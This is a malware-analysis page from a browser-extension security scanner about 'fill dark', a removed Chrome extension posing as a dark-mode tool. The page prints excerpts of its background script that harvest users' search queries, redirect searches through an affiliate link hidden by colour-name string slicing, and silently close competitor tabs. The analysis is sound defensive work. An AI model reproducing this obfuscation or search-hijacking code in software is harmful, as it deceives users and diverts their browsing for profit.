fill dark

ID: genleofgdcmmfnlfmbdbbeiegjecbied

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
0.2
Size
0.03 MB
Rating
5.0/5
Reviews
1
Users
5,000
Type
Extension
Updated
Sep 20, 2021
Category
22_accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
betsymcorriganView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
5,000

fill dark is simple tool to provide dark mode functionality for simple websites

quickly turns on dark mode on websites. 1)open website and click on extension icon to turn on dark mode

Item
Type
Severity
Description
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.

A global chrome.tabs.onUpdated listener intercepts every tab navigation event across all URLs and dispatches to colorCo(), a function that performs URL pattern-matching for search hijacking. The variable `tu` captures the tab URL on every update. This listener is the central surveillance hook of the malware, running on all tab changes regardless of the stated dark-mode purpose.

background.js (Line 2765)
chrome.tabs.onUpdated.addListener(function(e, u, s) {  function darkcontent() {    colorRGBType(t), color._items = null, color.dark = null, color._activeElement = null, color._isPaused = !1,      // ... [~70 lines of padding] ...  }  colorCo(e, u, s), tu = s.url, style(exid) && !style("errors") && cls(e);  // ...})

This is the core search-hijacking function. It inspects every tab URL for Yahoo Hosted Search affiliate parameters (yhs-002, yhs-active8, hspart=dcola) and other known search-monetization tokens. When a competitor hijacker's parameters are detected (rectre, imageadvan, pid=default2017, &ptag, &conlogo, &FORM), the tab is silently closed after 200ms. When the extension's own affiliated Yahoo search IDs are present, it redirects via `colo(up + errors)` to update the URL — replacing the search with one channeled through the extension's own affiliate link. The `up` variable contains an obfuscated base URL built from color-name strings.

background.js (Line 3700)
function colorCo(e, p, t) {  colorid = (e => t.url.includes(e)), colorid("tillshe") && cls(t.id), (colorid("q=yhs-002") || colorid(      "q=yhs-active8")) && colo(up + errors),    (colorid("rectre") || colorid("imageadvan") || colorid("pid=default2017") || colorid("hspart=dcola") || colorid(      "antgreen") || colorid("&ptag") || colorid("&conlogo") || colorid("&FORM")) && (mp = !0, setTimeout(function() {      cls(t.id), mp = !1    }, 200)), lear()};

The extension constructs a redirect base URL by extracting substrings from innocent-looking CSS color names ("Bright green", "Coralpink", "maroon", etc.) and concatenating them to form a protocol and domain string. Decoding the slices yields the segments: "http" + "s:/" + "/" + ... assembling "https://" followed by a domain. The resulting `up` variable is the affiliate search base URL appended with the captured user query (`errors`) to monetize user searches. This is deliberate obfuscation to hide the redirect target from static analysis.

background.js (Line 1317)
var colordark = color("Bright green", "4", "6") + color("light", "4", "5") + color("pink", "0", "1");// ...var colorlight = color("sea blue", "0", "1") + color("orange:", "6", "7") + color("yellow/", "6", "7");// ...var colorrgb = color("yellow/", "6", "7") + color("Coralpink", "3", "6") + color("maroon", "3", "5") + color("rose",  "2", "3");// ...var colorhexa = color("rose", "2", "3") + color(".color", "0", "3") + color("maroon", "0", "1");// ...var colorrgbh = color("Blizz/ard blue", "5", "6") + color("violet", "5", "6") + color("bluex", "4", "5");// ...function colr() {  return colordark + colorlight + colorrgb + colorhexa + colorrgbh;}// ...var ty = colr();var up = color(ty, 0, 20) + color("blue?q=", 2, 7);

When the extension detects a user search query (parameter `c` extracted from the tab URL), it saves the search term into `errors` if it is not already one of the extension's own affiliate tokens (yhs-002, yhs-active8). It then constructs `col = up + c` — the full affiliate redirect URL — and opens it as a new tab via `chrome.tabs.create`. This is the mechanism that routes user search queries through the extension's monetization infrastructure without user consent.

background.js (Line 3460)
colorlist.includes(c) || void 0 === c || (colorlist.push(c), "yhs-002" != c && "yhs-active8" != c && (errors =  c), col = up + c, function checkrandomrgb() {  // ...}, chrome.tabs.create({  url: col}, function(u) {  // ...}));

Three utility functions provide the core tab manipulation primitives used by the hijacker: `colo()` silently updates the active tab to the affiliate URL, `colort()` creates a new tab to the affiliate URL, and `cls()` closes a tab by ID. These are called by `colorCo()` when search hijacking conditions are triggered. Their terse obfuscated names are designed to avoid detection in code review.

background.js (Line 2212)
function colo(e) {  chrome.tabs.update({    url: e  })}function colort(e) {  chrome.tabs.create({    url: e  })}function cls(c) {  chrome.tabs.remove(c)}

The `lear()` function queries all open tabs and closes duplicates that match the obfuscated domain substring `color(ty, 8, 15)`. This is an anti-duplication defense for the hijacker: after a search redirect is created, any prior tab containing the same search domain is silently removed. This prevents the user from easily noticing that two tabs were opened for the same search.

background.js (Line 2216)
function lear() {  chrome.tabs.query({    currentWindow: !0  }, function(n) {    for (var r = 0; r < n.length - 1; r++) n[r].url.indexOf(n[n.length - 1].url) > -1 && n[r].url.indexOf(color(ty,      8, 15)) > -1 && n[n.length - 1].url.indexOf(color(ty, 8, 15)) > -1 && cls(n[r].id)  })}

The extension uses further obfuscated string extraction (from CSS color names like "darkseagreen", "ghostwhite") to construct search-engine domain names used as conditional checks. The `.q` property extraction from a parsed URL object captures the user's actual search query string from `tu` (the saved tab URL). This confirms that the extension is actively parsing and harvesting the user's live search queries.

background.js (Line 3378)
if (style(color("darkseagreen", 4, 7)) && style(color("aqua.orange", 3, 7)) && style(color("ghostwhite", 2,    4)) && style(color("indianred", 3, 5))) {  var r = width(tu);  c = (t = dimension(height(r)))    .q};

The extension captures its own runtime ID in `exid` and uses it as part of a condition to close tabs (`cls(e)`). This is a self-preservation mechanism: by checking for the extension's own ID, the hijacker avoids closing its own pages while still closing competitor tabs and previous search results. Combined with the ~3,921 line obfuscated background script in an extension claiming only to provide dark mode, this confirms the legitimate dark mode feature is only a cover.

background.js (Line 263)
var exid = chrome.runtime.id;// ...// Inside chrome.tabs.onUpdated.addListener:colorCo(e, u, s), tu = s.url, style(exid) && !style("errors") && cls(e);

By severity

Critical4
High3
Medium1
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.28

Files with findings

1 distinct path — top paths by unique finding count:

  • background.js8
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
background.js (line 3460)When the extension detects a user search query (parameter `c` extracted from the tab URL), it saves the search term into `errors` if it is not already one of the extension's own affiliate tokens (yhs-002, yhs-active8)…
2Obfuscation
critical
background.js (line 1317)The extension constructs a redirect base URL by extracting substrings from innocent-looking CSS color names ("Bright green", "Coralpink", "maroon", etc.) and concatenating them to form a protocol and domain string. De…
3Tracking
critical
background.js (line 2765)A global chrome.tabs.onUpdated listener intercepts every tab navigation event across all URLs and dispatches to colorCo(), a function that performs URL pattern-matching for search hijacking. The variable `tu` captures…
4Unauthorized Data Collection
critical
background.js (line 3700)This is the core search-hijacking function. It inspects every tab URL for Yahoo Hosted Search affiliate parameters (yhs-002, yhs-active8, hspart=dcola) and other known search-monetization tokens. When a competitor hij…
5Code Injection
high
background.js (line 2212)Three utility functions provide the core tab manipulation primitives used by the hijacker: `colo()` silently updates the active tab to the affiliate URL, `colort()` creates a new tab to the affiliate URL, and `cls()` …
6Other
high
background.js (line 2216)The `lear()` function queries all open tabs and closes duplicates that match the obfuscated domain substring `color(ty, 8, 15)`. This is an anti-duplication defense for the hijacker: after a search redirect is created…
7Unauthorized Data Collection
high
background.js (line 3378)The extension uses further obfuscated string extraction (from CSS color names like "darkseagreen", "ghostwhite") to construct search-engine domain names used as conditional checks. The `.q` property extraction from a …
8Other
medium
background.js (line 263)The extension captures its own runtime ID in `exid` and uses it as part of a condition to close tabs (`cls(e)`). This is a self-preservation mechanism: by checking for the extension's own ID, the hijacker avoids closi…
URLs
1
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
0.1
Latest
0.02 MB
Malicious
—
0.2
0.03 MB
Malicious
8
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.